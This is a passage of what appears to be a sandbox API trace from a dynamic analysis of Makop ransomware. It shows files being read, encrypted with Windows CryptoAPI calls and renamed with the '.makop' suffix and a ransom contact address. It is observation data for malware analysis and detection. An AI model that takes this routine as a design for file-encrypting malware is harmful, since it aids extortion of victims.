dwBufLen=0x3a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0) returned 1 [0157.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.949] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3a0, lpOverlapped=0x0) returned 1 [0157.949] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.950] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.950] SetEndOfFile (hFile=0xf0) returned 1 [0157.957] GetProcessHeap () returned 0x48a0000 [0157.957] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.957] GetProcessHeap () returned 0x48a0000 [0157.957] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.957] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0157.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.959] CloseHandle (hObject=0xf0) returned 1 [0157.959] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0157.959] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml") returned 75 [0157.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0157.961] GetProcessHeap () returned 0x48a0000 [0157.961] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.961] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0157.961] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.961] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.961] GetProcessHeap () returned 0x48a0000 [0157.961] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0157.961] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0157.961] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.961] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0157.967] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0157.967] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0157.967] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0157.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0157.968] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0157.968] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.968] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.968] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.968] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c0, lpOverlapped=0x0) returned 1 [0157.968] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3c0) returned 1 [0157.968] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.968] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3c0, lpOverlapped=0x0) returned 1 [0157.969] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.969] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.969] SetEndOfFile (hFile=0xf0) returned 1 [0157.976] GetProcessHeap () returned 0x48a0000 [0157.976] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0157.976] GetProcessHeap () returned 0x48a0000 [0157.976] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.976] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0157.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.978] CloseHandle (hObject=0xf0) returned 1 [0157.979] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0157.979] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml") returned 77 [0157.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0157.980] GetProcessHeap () returned 0x48a0000 [0157.980] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.980] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0157.980] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0157.985] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.985] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.985] GetProcessHeap () returned 0x48a0000 [0157.985] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.985] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0157.985] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.986] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0157.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0157.986] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0157.986] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0157.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0157.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0157.987] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0157.987] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.987] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x39e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x39e, lpOverlapped=0x0) returned 1 [0157.987] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a0) returned 1 [0157.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.987] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3a0, lpOverlapped=0x0) returned 1 [0157.987] CryptDestroyKey (hKey=0x48c7128) returned 1 [0157.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.988] SetEndOfFile (hFile=0xf0) returned 1 [0157.995] GetProcessHeap () returned 0x48a0000 [0157.995] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.995] GetProcessHeap () returned 0x48a0000 [0157.995] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.996] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0157.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.997] CloseHandle (hObject=0xf0) returned 1 [0157.997] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0157.998] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml") returned 79 [0157.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.000] GetProcessHeap () returned 0x48a0000 [0158.000] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.000] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.000] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.000] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0158.005] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.005] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.005] GetProcessHeap () returned 0x48a0000 [0158.005] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.005] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.005] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.006] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.006] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.006] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.006] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.006] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3c4, lpOverlapped=0x0) returned 1 [0158.006] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d0) returned 1 [0158.007] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.007] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d0, lpOverlapped=0x0) returned 1 [0158.007] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.007] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.007] SetEndOfFile (hFile=0xf0) returned 1 [0158.014] GetProcessHeap () returned 0x48a0000 [0158.014] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0158.014] GetProcessHeap () returned 0x48a0000 [0158.014] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0158.014] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0158.015] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0158.016] CloseHandle (hObject=0xf0) returned 1 [0158.016] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0158.016] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml") returned 79 [0158.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0158.017] GetProcessHeap () returned 0x48a0000 [0158.018] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0158.018] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0158.018] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0158.018] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0158.023] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.023] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.023] GetProcessHeap () returned 0x48a0000 [0158.023] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0158.023] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0158.024] CryptDestroyKey (hKey=0x48c7128) returned 1 [0158.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0158.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0158.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0158.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0158.024] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0158.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0158.025] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0158.025] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0158.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 